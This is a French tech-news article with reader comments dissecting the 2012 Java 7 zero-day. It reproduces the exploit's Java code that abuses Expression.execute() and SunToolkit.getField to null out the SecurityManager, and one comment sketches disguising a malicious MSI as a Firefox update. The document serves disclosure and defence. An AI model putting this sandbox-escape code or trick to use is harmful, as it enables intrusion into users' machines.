Vous êtes nouveau sur Developpez.com ? Créez votre compte ou connectez-vous afin de pouvoir participer !

Vous devez avoir un compte Developpez.com et être connecté pour pouvoir participer aux discussions.

Vous n'avez pas encore de compte Developpez.com ? Créez-en un en quelques instants, c'est entièrement gratuit !

Si vous disposez déjà d'un compte et qu'il est bien activé, connectez-vous à l'aide du formulaire ci-dessous.

Identifiez-vous
Identifiant
Mot de passe
Mot de passe oublié ?
Créer un compte

L'inscription est gratuite et ne vous prendra que quelques instants !

Je m'inscris !

Le nouvel exploit zero-day de Java 7 décortiqué
Il permet de désactiver le sandbox avec une facilité déconcertante

Le , par tarikbenmerar

104PARTAGES

4  0 
Le grave exploit 0Day révélé au grand jour ce week-end (lire ci-devant) fait l'objet d'analyses approfondies de la part d'experts en sécurité.

L'analyse de Michael Schierl, traqueur récidiviste de vulnérabilités Java, met l'index sur une faille de sécurité dans l'implémentation de la méthode .execute() de la classe Expression. L'exploit n'utilise en aucun cas du bytecode, il n'est, en somme, pas très sophistiqué, mais reste difficile à détecter.

L'exploit utilise la classe sun.awt.SunToolkit pour désactiver le SecurityManager et par conséquent le sandbox de Java. Il ouvre ainsi le champ vers une liberté totale sur le système.

Pour mieux comprendre, il faut savoir que cette classe propose une méthode nommée getField(), qui donne accès, en lecture et écriture, aux attributs privés d'autres classes.

En principe, un code ne peut accéder à ces attributs, mais la nouvelle méthode .execute() de la classe Expression introduite dans Java 7 souffre d'un bug, qui expose dangereusement la méthode getField(). Dès lors, un code pareil peut faire des ravages :

Code : Sélectionner tout
1
2
3
4
5
6
7
8
9
10
11
12
13
private void SetField(Class paramClass, 
                      String paramString,
                      Object paramObject1, 
                      Object paramObject2) throws Throwable
{ 
  Object arrayOfObject  = new Object[2]; 
  arrayOfObject[0] = paramClass;
  arrayOfObject[1] = paramString;
  Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"),
                                                  "getField", arrayOfObject);
  localExpression.execute();
  ((Field)localExpression.getValue()).set(paramObject1, paramObject2);
}

À partir de ce bout de code, on peut désactiver le sandbox en appelant System.setSecurityManager(null). Pour cela, l'exploit crée un objet Statement pour appeler cette méthode.

Néanmoins, un appel direct n'est pas permis, et sera considéré comme non sûr.
Pour contourner cette restriction, un objet AccessControlContext est créé en premier qui représente en fait une classe démarrée à partir du disque dur local, et bénéficie ainsi de tous les droits d'accès.

Code : Sélectionner tout
1
2
3
4
5
6
7
8
9
10
11
12
13
public void disableSecurity() 
    throws Throwable 
{ 
  Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]); 
  Permissions localPermissions = new Permissions(); 
  localPermissions.add(new AllPermission()); 
  ProtectionDomain localProtectionDomain = new ProtectionDomain( 
    new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions); 
  AccessControlContext localAccessControlContext = 
    new AccessControlContext(new ProtectionDomain{localProtectionDomain}); 
  SetField(Statement.class, "acc", localStatement, localAccessControlContext); 
  localStatement.execute(); 
}
Oracle n'a pas encore annoncé la sortie d'un correctif. Java 7 Update 6 est la dernière version téléchargeable. Toutes les mises à jour de Java 7 souffrent de cette même vulnérabilité.

Ainsi, on préconise de carrément désactiver le plug-in Java du navigateur, sous peine, d'ouvrir une brèche que des malwares n'hésiteront pas à exploiter.

Source : le code de l'exploit

Et vous ?

Oracle réagira-t-il assez vite pour éviter une catastrophe virale ?
Quel est le vrai potentiel d'un tel exploit ?
Les IDS et les antivirus seront-ils suffisants ?

Une erreur dans cette actualité ? Signalez-le nous !

Avatar de tchize_
Expert éminent sénior https://www.developpez.com
Le 26/09/2012 à 15:42
Citation Envoyé par Freem Voir le message

Problèmes de jeunesse peut-être (je ne sais pas quand il est sorti?)...
Il y a un an, 2 mois et 19 jours
4  0 
Avatar de Awakening
Membre régulier https://www.developpez.com
Le 30/08/2012 à 12:25
Citation Envoyé par andry.aime Voir le message
Mais Kevin pense que les nouvelles versions apportent plus de sécurité et de gadget, et plouf
Mais Kévin n'aurait pas forcément tort, il y a des chances qu'une mise à jour répare certaines failles/bug.

Et de toute façon le tort n'est pas censé venir de l'utilisateur lambda qui n'est pas censé savoir que Java (ou Flash) est réputé pour avoir quelques failles.
3  0 
Avatar de tchize_
Expert éminent sénior https://www.developpez.com
Le 26/09/2012 à 16:56
Citation Envoyé par Elendhil Voir le message
Je ne suis pas un expert mais pour moi oui évidement , si tu es sous vista, seven, windows 8 avec l'UAC d'activé le programme ne pourra pas faire beaucoup de mal ...
Mouais, chez l'utilisateur lambda, tu en profite pour déposer un paquet MSI (ça pas besoin de l'UAC) que t'appelle firefox update et qui attends gentillement que tu ferme ton firefox pour ensuite demander les droits à l'UAC.

Et hop, un joli "firefox update veux modifier votre machine".

Combien vont cliquer non?
3  0 
Avatar de thelvin
Modérateur https://www.developpez.com
Le 30/08/2012 à 14:47
Citation Envoyé par Gugelhupf Voir le message
Des fois je suis surpris de lire des articles comme celui-ci, je me dis que nous sommes peut-être quelques milliers d'informaticiens à lire ces infos et qu'il doit y avoir des centaines de milliers d'autres personnes qui n'en seront jamais au courant et qui seront peut-être affectés.
C'est pour ça que Firefox se permet de désactiver des plugins de temps en temps, en demandant à peine l'avis de la personne mal informée. On peut en dire ce qu'on veut en terme de comportement politique, en attendant c'est une sécurité accessible à tout le monde.

Citation Envoyé par Gugelhupf Voir le message
Pour moi JavaScript n'est pas un langage très au point, mais je pense que les gens préfèrent rester avec cela et utiliser des frameworks cache-misère (qui avouons le sont très pratiques pour développer) que d'apprendre un énième nouveau langage.
Spas un nouveau langage à apprendre, s't'un nouveau langage à adapter, sécuriser, accélérer, intégrer, déployer. Pas la même chose.
2  0 
Avatar de dragon-noir
Membre à l'essai https://www.developpez.com
Le 30/08/2012 à 19:47
bonsoir ,
java7 update 7

dispo sur http://java.com/fr/download/manual.jsp

ne sait pas s'il elle comble la faille de sécurité silence radio pour l'instant

http://www.oracle.com/technetwork/ja...ads/index.html

Mise à jour Java SE 7 7 Paru
Cette mise à jour corrige des vulnérabilités de sécurité récentes. Oracle recommande vivement à tous les utilisateurs de Java SE 7 jour vers cette version.
http://www.oracle.com/technetwork/ja...iew/index.html
2  0 
Avatar de Crazyfaboo
Membre actif https://www.developpez.com
Le 31/08/2012 à 11:34
Oracle n'a cependant pas communiqué sur la faille de sécurité en question. Il serait très surprenant que cette mise à jour hors planning et post-"scandale" ne corrige pas la faille. Cela dit, quelques tests s'avèrent tout de même nécessaire. D'autant plus qu'ils ont peut-être créé d'autres failles en la corrigeant (sûrement à la va-vite)...
Bien qu'Oracle ait publié une MAJ, mais pas bien qu'ils ne communiquent pas sur la faille en particulier.
2  0 
Avatar de Uther
Expert éminent sénior https://www.developpez.com
Le 03/09/2012 à 19:41
Et pas que sur internet.
C'est bien connu que le système le plus sur jamais réalisé c'est : http://www.bernardbelanger.com/compu...NaDa/index.php
2  0 
Avatar de Freem
Membre émérite https://www.developpez.com
Le 04/09/2012 à 9:55
Citation Envoyé par Philippe Bastiani Voir le message
et, pourtant, la presse du moment ne conseille pas de désactiver leur player ! Vas savoir pourquoi !
Peut-être parce qu'il y a vachement plus de sites qui utilisent flash?
Genre, par exemple, les sites des streaming. Les sites de jeux, aussi.

D'ailleurs, le jour où ce sera possible de se passer de flash, rassures-toi, je pense que nombreux seront ceux qui le feront... notamment sous linux ou ce truc à une stabilité douteuse.
2  0 
Avatar de tchize_
Expert éminent sénior https://www.developpez.com
Le 05/09/2012 à 10:10
Citation Envoyé par JoeChip Voir le message
Nan mais bon, si une seule faille dans un seul sous-sytème met en cause la sécurité de tout votre système, c'est qu'il n'est tout simplement pas sécurisé, quoi. Un peu comme un bateau qui coulerait dès qu'il pleut...
Tu veux dire comme un bateau qui coulerais dès qu'il y aurait un trou dans le sous-système "coque immergée" ?

Mauvaise nouvelle, c'est ce que font la plupart des petits bateaux
2  0 
Avatar de tchize_
Expert éminent sénior https://www.developpez.com
Le 11/10/2012 à 15:50
Citation Envoyé par devyan Voir le message
Quoi nous ne sommes pas des DIEUX infaillibles ?!?
Non, mais l'important, c'est que nos boss le croient
2  0